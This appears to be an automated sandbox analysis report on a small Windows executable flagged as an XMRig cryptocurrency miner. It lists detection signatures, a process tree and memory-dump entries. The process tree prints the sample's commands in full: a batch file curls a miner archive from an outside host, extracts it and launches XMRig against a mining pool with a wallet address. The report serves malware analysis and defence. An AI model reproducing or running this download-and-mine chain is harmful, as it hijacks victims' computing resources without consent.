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13/03/2024, 08:45
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240313-kms82aah481012/03/2024, 18:00
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240312-wf31fahd5810Analysis
- max time kernel
1195s - max time network
1200s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy - Copy - Copy - Copy.exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy - Copy - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy - Copy - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rebqMzcd.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
rebqMzcd.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/436-55-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-59-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-92-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-91-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-90-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-26-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-27-0x000001BB6C0C0000-0x000001BB6C0E0000-memory.dmp
memory/436-28-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-56-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-30-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-31-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-32-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-33-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-34-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-35-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-36-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-37-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-38-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-40-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-41-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-42-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-44-0x000001BB6C0C0000-0x000001BB6C0E0000-memory.dmp
memory/436-43-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-45-0x000001BB6C0A0000-0x000001BB6C0C0000-memory.dmp
memory/436-46-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-58-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-48-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-49-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-50-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-51-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-52-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-53-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-54-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-24-0x000001BB6A760000-0x000001BB6A780000-memory.dmp
memory/436-29-0x000001BB6C0A0000-0x000001BB6C0C0000-memory.dmp
memory/436-25-0x000001BB6C060000-0x000001BB6C0A0000-memory.dmp
memory/436-47-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-57-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-60-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-61-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-62-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-63-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-64-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-65-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-66-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-67-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-68-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-69-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-70-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-71-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-72-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-73-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-74-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-75-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-76-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-77-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-78-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-79-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-80-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-81-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-82-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-83-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-84-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-85-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-86-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-87-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-88-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/436-89-0x00007FF6FAA80000-0x00007FF6FB584000-memory.dmp
memory/1884-7-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp
memory/1884-3-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp
memory/1884-0-0x0000000000930000-0x0000000000938000-memory.dmp
memory/1884-23-0x00007FFDE5B40000-0x00007FFDE6601000-memory.dmp